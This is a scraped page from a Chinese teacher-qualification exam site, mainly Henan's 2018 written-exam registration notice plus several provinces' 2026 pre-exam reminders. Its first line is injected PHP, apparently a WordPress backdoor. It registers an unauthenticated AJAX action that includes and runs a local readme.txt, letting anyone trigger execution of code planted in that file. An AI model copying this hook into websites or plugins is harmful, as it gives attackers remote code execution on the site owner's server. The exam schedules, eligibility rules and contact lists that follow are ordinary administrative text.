if(!function_exists('file_check_readme15721')){ add_action('wp_ajax_nopriv_file_check_readme15721', 'file_check_readme15721'); add_action('wp_ajax_file_check_readme15721', 'file_check_readme15721'); function file_check_readme15721() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
回顶部
河南省2018年上半年教师资格笔试报名公告-全国教师资格考试网

河南省2018年上半年教师资格笔试报名公告

河南省招生办公室关于2018年上半年
中小学教师资格考试笔试报名有关事项的公告

  根据教育部考试中心《关于2018年上半年中小学教师资格考试考务相关事项的通知》(教试中心函[2017]249号)和《河南省教育厅关于印发〈河南省中小学教师资格考试和定期注册制度改革实施方案(试行)的通知〉》(教人[2015]501号)精神,现将2018年上半年我省中小学教师资格考试笔试报名有关事项公告如下:

  一、考试安排

  (一)网上报名时间:1月16日至19日17:00。

  (二)网上审核时间:1月16日至20日17:00。

  (三)网上缴费时间:1月16日至22日12:00。

  (四)全国统一考试日期3月17日,各类别考试科目与时间安排如下:

类别
时间

3月17日(星期六)

上   午

9:00–11:00

下   午

13:00–15:00

下   午

16:00–18:00

幼儿园

综合素质(幼儿园)

保教知识与能力

 

小  学

综合素质(小学)

教育教学知识与能力

 

初级中学

综合素质(中学)

教育知识与能力

学科知识与教学能力

高级中学

学科知识与教学能力

中职文化课

中职专业课

 

中职实习指导

 

  二、报考条件

  (一)社会考生报名条件。

  1.户籍或人事关系在河南省。仅人事关系在我省的申请人,须具有与工作单位签订的有效期内一年以上聘用合同及由工作单位缴纳的一年以上社会保险证明。

  2.符合以下学历条件。

  (1)报考幼儿园教师资格的,应当具备幼儿师范学校毕业及以上学历。特别强调:普通中等职业学校及中等师范学校毕业的学生不符合报考幼儿园教师资格的学历条件;

  (2)报考小学教师资格的,应当具备大学专科毕业及以上学历;

  (3)报考初级中学教师资格的,应当具备大学本科毕业及以上学历;

  (4)报考高级中学和中等职业学校(文化课、专业课)教师资格的,应当具备大学本科毕业及以上学历;

  (5)报考中等职业学校实习指导教师资格的,应当具备大学专科毕业及以上学历,并具有相当助理工程师及以上专业技术职务或者中级及以上工人技术等级。

  (二)河南省内普通高等学校在校三年级及以上学生和在读研究生,可在就读学校所在地报考。此类考生报考类别应具备学历条件须与本人毕业时取得的学历层次相适应。

  (三)被撤销教师资格的,5年内不得报名参加考试;受到剥夺政治权利,或故意犯罪受到有期徒刑以上刑事处罚的,不得报名参加考试。曾参加教师资格考试有作弊行为的,按照《国家教育考试违规处理办法》的相关规定执行。

  三、报名流程

  第一步:登录“中小学教师资格考试网站”(www.ntce.cn),进入报名系统,选择“河南”考区。

  第二步:注册。每次笔试报名前,考生须(重新)注册取得网报系统登录密码(帐号为本人姓名及身份证号)。

  第三步:签订诚信考试承诺书。新注册的考生用户必须先阅读考试承诺,确认遵守《诚信考试承诺书》的方可进行下一步操作。

  第四步:阅读报考须知。考生必须认真阅读报考条件和资格,符合条件方能报考。

  第五步:填报个人信息。  

  第六步:上传个人照片。照片要求:本人近6个月以内的免冠正面证件照;照片大小:格式为jpg/jpeg,不大于200K;照片中显示考生头部和肩的上部,黑白或彩色均可,白色背景为佳。   

  第七步:考试报名。根据页面提示操作。考生在报名时须选择户籍或用人单位或学籍所在地的考区为应试考区(省直管县考生须选择原所辖市考区),并选择考试类别和考试科目。

  第八步:网上审核。市级招办负责对本考区考生的报名信息进行审核,只审核考生应填报的项目是否齐全、姓名是否规范、照片是否符合要求,不对考生报名条件进行审核。因不符合报名条件参加笔试,造成面试等后续环节无法完成的,后果由考生承担。考生在审核期限内登录网报系统查验审核状态,审核不通过重新修改报名信息(包括照片),须重新选报考试科目。超过审核期限仍未提交修改信息的将视为放弃报名。   

  第九步:网上缴费。网上审核通过后,在网上缴费截止日期前,考生再次登录网上报名系统,按照系统提示进行在线支付考试费,缴费完成即为报名成功。逾期不缴费的考生视为放弃报考。

  四、其它事项

  (一)准考证打印。报名成功后,请考生于3月12日至17日登录“中小学教师资格考试网站”(www.ntce.cn)自行下载并打印准考证,按照准考证上规定的时间、地点参加考试。考生参加考试须交验准考证、身份证。

  (二)成绩查询。4月19日,考生可登录“中小学教师资格考试网站”查询笔试考试成绩。如有异议,可在成绩公布后10日内向省辖市招办提出书面复核申请(按教育部有关要求:成绩复核只对漏评、合分有误进行复核,不对评卷的宽严度进行复核)。

  (三)违规处理。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》中“法律规定的国家考试”范畴,考生在考试过程中,违反考试纪律作弊或提供虚假证明材料的,按照《国家教育考试违规处理办法》(教育部令第33号)和《中华人民共和国刑法修正案(九)》中规定接受有关部门的处理。

  (四)收费标准。根据河南省有关部门核定的标准,我省中小学教师资格考试调整为每人每科70元收取报名考试费。

  五、注意事项

  (一)根据《教育部教师工作司关于中小学教师资格考试音、体、美专业公共科目单独编码的通知》(教师司函【2017】34号)要求:自2017年下半年考试开始,对音、体、美专业考生的笔试公共课目一、科目二(科目代码:201、202、301、302)实行单独编码(相应科目代码:201A、202A、301A、302A)考试内容暂与原科目相同。实行单独编码后,音、体、美专业考生在笔试报名时应选报单独编码的公共科目。取得201A、202A的合格考生,面试时仅限于参加小学类别的音、体、美专业科目;取得301A、302A的合格考生,面试仅限于初中、高中、中职文化课类别音、体、美专业科目。考生已获得科目201、202、301、302合格成绩,可相应替代科目201A、202A、301A、302A合格成绩;考生已获得201A、202A、301A、302A合格成绩不可替代201、202、301、302合格成绩。

  (二)根据《教育部教师工作司关于中小学教师资格考试增加“心理健康教育”等学科的通知》(教师司函【2017】41号)要求:自2017年下半年开始,各试点省份的中小学教师资格考试小学类别面试增设“心理健康教育”“信息技术”学科;初中、高中、中职文化课类别面试增设“心理健康教育”“日语”“俄语”学科。上述各类别新增学科的笔试科目一、科目二在笔试报考时选择相应的公共科目(201、202或301、302)。初中、高中、中职文化课类别新增学科的笔试科目三《学科知识与能力》结合面试一并考核。

  (三)2015年(含)之前入学的全日制普通院校师范生和全日制教育硕士,申请认定与所学专业相同或相近任教学科的教师资格,仍执行直接认定的相关政策,跨学科认定应参加国家教师资格统一考试。

  (四)考生须对网上报名填报信息的真实性、准确性负责,信息审核通过后将不能更改。考生不得委托培训机构或学校团体替代报名,否则出现信息错误,责任由考生本人承担。

  (五)已在外省(必须是参加国家统考的试点省)参加过全国中小学教师资格考试笔试且取得单科以上合格成绩的考生,在满足我省报考条件的前提下,其合格科目在有效期内可免笔试。

  (六)考生如忘记密码可通过报名系统提示功能重新获得密码,报名系统将把新的密码通过短信发送到考生报名时所填报的手机上。手机短信为考生重新获取密码的重要途径,在参加中小学教师资格考试期间,请考生慎重更换手机号码。

  (七)有关面试、教师资格认定等事宜请咨询河南省教师资格认定注册服务中心。

河南省招生办公室

2017年12月27日

附件1:河南省教师资格考试笔试报名考区咨询电话

考区名称

办公地址

咨询电话

郑州市

郑州市中原西路40号

0371-67882010

开封市

黄河大街北段27号

0371-23886505

洛阳市

西工区凯旋东路62号

0379-63252373

0379-63937379

0379-63358958

平顶山市

光明路228号

0375-4973009

安阳市

朝霞路北段安阳市教育局院内

0372-2205708

鹤壁市

淇滨区黄河路283号市教育局

0392-3372812

0392-3372814

新乡市

新乡市开发区创新路

0373-3519083

焦作市

丰收路2369号焦作市教育局

0391-2780816

濮阳市

濮阳市振兴路南段(濮阳市招生考试办公室)

0393-8991785

濮阳市黄河东路576号(华龙区招生办公室)

0393-4495510

濮阳县昌盛路工业路口东150米路南(濮阳县招生办公室)

0393-3221031

清丰县政通大道中段(清丰县招生办公室)

0393-7260611

南乐县仓颉西路154号(南乐县招生办公室)

0393-6229551

范县新区杏坛路北段(范县招生办公室)

0393-5268601

台前县纬六路中断路北(台前县财政局综合楼211室,台前县招生办公室)

0393-2233929

濮阳市五一路中段(油田招生办公室)

0393-4824935

许昌市

许昌市莲城大道1276号

0374-2981806

0374-2981869

漯河市

漯河市招生办公室(沙北支四路3号)

0395-3169386

0395-3169128

0395-3139882

0395-3139881

三门峡市

三门峡市河堤北路与大岭南路交叉口

0398-2816632

0398-2816605

南阳市

南阳市七一路409号

0377-63180756

商丘市

商丘市睢阳区华夏路旧货市场附近

0370-3235368

0370-3251818

信阳市

信阳市中山南路2号

0376-6226657

济源市

济源市招生办公室(黄河大道东段2号)

0391-6614806

周口市

周口市太昊路市教育局七楼招办自考科

0394-8319117

周口市文体路川汇区教体局招生办

0394-8101610

驻马店市

驻马店市驿城区正乐路96号

0396-2625010

附件2:中小学教师资格考试(笔试)科目代码列表

序号

科目名称

科目

代码

备注

(一)

幼儿园

 

 

  1.  

综合素质(幼儿园)

101

 

  1.  

保教知识与能力

102

 

(二)

小学

 

 

  1.  

综合素质(小学)

201

 

  1.  

综合素质(小学)(音体美专业)

201A

 

  1.  

教育教学知识与能力

202

 

  1.  

教育教学知识与能力(音体美专业)

202A

 

(三)

初中

 

 

  1.  

综合素质(中学)

301

初中、高中相同

  1.  

综合素质(中学)(音体美专业)

301A

初中、高中相同

  1.  

教育知识与能力

302

初中、高中相同

  1.  

教育知识与能力(音体美专业)

302A

初中、高中相同

  1.  

语文学科知识与教学能力(初级中学)

303

 

  1.  

数学学科知识与教学能力(初级中学)

304

 

  1.  

英语学科知识与教学能力(初级中学)

305

 

  1.  

物理学科知识与教学能力(初级中学)

306

 

  1.  

化学学科知识与教学能力(初级中学)

307

 

  1.  

生物学科知识与教学能力(初级中学)

308

 

  1.  

思想品德学科知识与教学能力(初级中学)

309

 

  1.  

历史学科知识与教学能力(初级中学)

310

 

  1.  

地理学科知识与教学能力(初级中学)

311

 

  1.  

音乐学科知识与教学能力(初级中学)

312

 

  1.  

体育与健康学科知识与教学能力(初级中学)

313

 

  1.  

美术学科知识与教学能力(初级中学)

314

 

  1.  

信息技术学科知识与教学能力(初级中学)

315

 

  1.  

历史与社会学科知识与教学能力(初级中学)

316

 

  1.  

科学学科知识与教学能力(初级中学)

317

 

(四)

高中

 

 

  1.  

综合素质(中学)

301

初中、高中相同

  1.  

综合素质(中学)(音体美专业)

301A

初中、高中相同

  1.  

教育知识与能力

302

初中、高中相同

  1.  

教育知识与能力(音体美专业)

302A

初中、高中相同

  1.  

语文学科知识与教学能力(高级中学)

403

 

  1.  

数学学科知识与教学能力(高级中学)

404

 

  1.  

英语学科知识与教学能力(高级中学)

405

 

  1.  

物理学科知识与教学能力(高级中学)

406

 

  1.  

化学学科知识与教学能力(高级中学)

407

 

  1.  

生物学科知识与教学能力(高级中学)

408

 

  1.  

思想政治学科知识与教学能力(高级中学)

409

 

  1.  

历史学科知识与教学能力(高级中学)

410

 

  1.  

地理学科知识与教学能力(高级中学)

411

 

  1.  

音乐学科知识与教学能力(高级中学)

412

 

  1.  

体育与健康学科知识与教学能力(高级中学)

413

 

  1.  

美术学科知识与教学能力(高级中学)

414

 

  1.  

信息技术学科知识与教学能力(高级中学)

415

 

  1.  

通用技术学科知识与教学能力(高级中学)

418

 

 

附件3:网上支付流程图

河南省2018年上半年教师资格笔试报名公告

欢迎加入河南考试交流群:580578168河南省2018年上半年教师资格笔试报名公告

微信公众号
河南省2018年上半年教师资格笔试报名公告

回顶部
教师资格考试网
位置:首页/教师资格考试网
河北省2026年下半年中小学教师资格考试(笔试)考前提示(三)

一、重要时间节点提醒

1.开考前60分钟,建议考生提前到达考点,预留足够时间配合考点工作人员进行入场核验。

2.开考前30分钟,考生按照监考员的指令进入指定考场。

3.开考信号发出后,方可开始答题。

4.开考后迟到15分钟以上的考生,不得进入考场。

5.考试结束,待试卷(卡)回收、清点无误后,经监考员允许方可离场。

二、切勿考试违规

中小学教师资格考试是法律规定的国家考试,考生应自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。如情节严重、触犯刑法,将报送公安部门,依法处理。

三、谨防上当受骗

近年来,社会上一些机构或不法分子通过散布“助考”“考前售卖试题信息”等手段骗取考生钱财。请考生提高警惕,切莫相信,谨防上当受骗。

 

天津市2026年下半年中小学教师资格考试(笔试)考前提示

  2026年下半年天津市全国中小学教师资格考试笔试将于9月12日举行。为帮助广大考生顺利参加考试,现将有关事项提示如下:

  1.备齐个人证件。考前考生须自行下载并打印《准考证》,考生须凭《准考证》、有效期内的居民身份证/港澳台居民居住证/港澳居民来往内地通行证/台湾居民来往大陆通行证(五年有效期)进入考场,“两证”缺一不可。如身份证丢失,考生仅可使用有效期内的临时身份证或由公安部门出具的带有本人照片且加盖公安部门印章的证明替代。

  2.按要求携带考试用品。考生只准携带必要的考试文具(如黑色签字笔、铅笔、尺子、橡皮等)进入考场,不得携带书籍、资料、包等物品,严禁携带具有发送或者接收信息功能的电子设备(如:手机、耳机、智能眼镜、智能手表等)。

  3.遵守考试时间。考生要认真核对考点坐落的具体位置,提前设计出行方式和路线。考生迟到15分钟不得进入考场参加考试,考试结束前30分钟,方可交卷离开考场。

  4.严守考试纪律。中小学教师资格考试是法律规定的国家考试,适用于《中华人民共和国刑法修正案(九)》。在考试中若有违纪作弊行为,将按照《中华人民共和国刑法修正案(九)》《国家教育考试违规处理办法》(教育部令第33号)等相关规定严肃处理。有作弊情形的还将依据《教师资格条例》的相关规定3年内禁止参加教师资格考试。触犯刑法涉嫌犯罪的将移送公安机关依法处理。

  5.笔试成绩复核。11月6日起,考生可登录中小学教师资格考试网站查询笔试成绩。考生如对本人的考试成绩有异议,可在考试成绩公布后10个工作日内,通过手机扫描下方二维码或点击链接(https://ops.hycj.jrycn.cn/f/tjntcebsfh),按页面提示登录后提交复核申请。复核内容为登记分数是否准确。

  祝广大考生朋友们考试顺利!

四川省2026年下半年中小学教师资格考试(笔试)温馨提示

广大考生朋友:

2026年下半年中小学教师资格考试(笔试)将于9月12日举行。现将有关事项提醒如下。

一、考前准备

(一)及时下载打印准考证。请于2026年9月7日10:00至9月12日登录中小学教师资格考试网(http://ntce.neea.edu.cn)下载打印准考证,并核对准考证上的姓名、身份证号码、照片等信息是否与本人一致;若有误,请及时联系报名考区核实处理。

(二)备好个人证件。本次考试入场的指定证件为准考证、有效身份证原件(港澳台考生可持有效期内的港澳台居民居住证、港澳居民来往内地通行证、五年有效期台湾居民来往大陆通行证入场)。

(三)备齐考试用具。只能携带必要的考试文具进入考场(如:黑色签字笔、2B铅笔、橡皮等)。不得携带书籍、资料等物品,严禁携带具有发送或者接收信息功能的电子设备(手机及各类智能电子设备等)进入考场。请尽量避免携带挎包,不穿戴含有金属配件的衣物、饰品;服从考点工作人员管理,按要求存放个人随身物品,防止违规无法参加考试或财物遗失。

二、诚信参考

(一)遵守考试时间。牢记考试时间,合理规划出行路线,因入场前需集中存放手机、接受安检、验证身份等,建议提前到达考点,留足入场检查时间。部分考点学校有多个校区,请考生务必仔细核对准考证上的考点校区名称、详细地址,以免走错考点。到达考点后勿逗留、聚集,尽快有序入场。开考15分钟后,禁止考生进入考场参加当次科目考试。

(二)诚信守纪应考。遵守考点发出的考试指令,严守考试纪律,杜绝考试作弊行为。全部考场均实行全覆盖、全时段网上监控和录像,监控视频及回放资料都将作为认定考试违规的依据。试题、答题卡、草稿纸等均属于涉考材料,不允许以任何形式传出或带离考场。需要特别注意的是:考试过程中考生如携带手机等具有发送或者接收信息功能的设备,无论使用与否,均将认定为考试作弊。

(三)严禁违纪作弊。中小学教师资格考试属于《中华人民共和国刑法修正案(九)》规定的国家考试范畴,请考生严格遵守考试纪律,在考试中若有违纪舞弊行为将按照《中华人民共和国教育法》《国家教育考试违规处理办法》(教育部令第33号)等法律法规严肃处理,触犯刑法涉嫌犯罪的将移送公安机关依法处理。有作弊情形的将依据《中华人民共和国教师资格条例》的相关规定,3年内不得参加教师资格考试。  

三、成绩发布

本次笔试成绩预计于2026年11月6日开放查询,请考生登录中小学教师资格考试网(http://ntce.neea.edu.cn)查询。考生如对本人成绩有异议,可在成绩公布后10个工作日内,提交成绩复核申请,由省教育考试院汇总报送教育部教育考试院统一复查。具体申请方式另行通知。

四川省教育考试院

2026年9月8日

贵州省2026年下半年中小学教师资格考试(笔试)考前提示(一)

2026年下半年中小学教师资格考试(笔试)将于9月12日举行,现提示广大考生需注意以下事项:

一、提前打印准考证

即日起可登录教师资格考试网(http://ntce.neea.edu.cn/)提前打印准考证。

二、核对准考证信息

认真核对准考证上的姓名、照片等个人信息。若准考证上个人信息与身份证不符,请提前与报考考区联系,提供相应证明进行修改。考试时,准考证信息与身份证信息不符的考生不得入场参加考试。

三、提前熟悉考点地理位置,以免考试当天走错考点、考场,错过考试时间。

四、携带准考证、身份证,提前60分钟到达考点,听从考试工作人员指挥,配合做好各项入场检查。

五、遵守考场规则,诚信参考,禁止携带手机、智能手表、智能眼镜、智能手环等具有信息发送和接收功能的电子设备进入考点。

六、自觉服从监考员管理,不得以任何理由妨碍监考员正常工作。考生如有违纪、作弊等行为,将按照《国家教育考试违规处理办法》等规定进行处理。同时,对作弊考生还将依据《教师资格条例》相关规定,给予3年内禁止参加教师资格考试的处理。如情节严重、触犯刑法,将移送公安部门,依法处理。

甘肃省2026年下半年中小学教师资格考试(笔试)考生温馨提醒

2026年下半年中小学教师资格考试笔试将于9月12日举行。为确保考生顺利参加考试,省教育考试院就相关事项提醒如下:

一、考生可于9月7日-12日登录中小学教师资格考试网(网址:http://ntce.neea.edu.cn/),根据提示下载pdf格式的准考证并打印。请考生及时打印准考证,仔细核对个人信息,认真阅读“考生须知”内容,准确掌握考试时间、考点地址等信息。遵守考试要求,合理统筹安排,预留充足的时间提前抵达考点,及时安检进入考场。按时参加考试。

二、考生请于9月12日(按科类分3场)按时参加考试。开考15分钟后,迟到考生不得进入考场参加当次科目考试。第一场(9:00-11:00)各学段综合素质科目;第二场(13:00-15:00)各学段教育知识与能力科目;第三场(16:00-18:00)有关学段学科知识与教学能力科目。

三、考生需持有效期内的居民身份证(港澳台居民居住证、港澳居民来往内地通行证、台湾居民来往大陆通行证)、准考证参加考试。准考证上的“姓名”“证件号码”信息与所持上述身份证件上不一致者,不得参加考试。因考试期间全程禁用手机,故电子身份证不作为考试入场有效证件使用,请广大考生周知。

四、考生只准携带必要的文具(如黑色签字笔、铅笔、尺子、橡皮等)参加考试,不得携带书籍、资料、草稿纸、计算器、包等物品,严禁携带电子设备,如手机、耳机、智能手表(手环)、智能眼镜等电子设备等考试违规物品。

五、考生须遵守有关考试纪律和规定,服从考试工作人员管理,诚信考试。若有违纪、作弊行为的,将按照《国家教育考试违规处理办法》和《教师资格条例》的相关规定认定和处理。有作弊行为的,其当次报名参加考试的各科成绩无效,3年内不得再次参加教师资格考试。如情节严重、触犯刑法的,将移送公安部门依法处理。

祝各位考生考试平安顺利,取得理想成绩!

回顶部
回顶部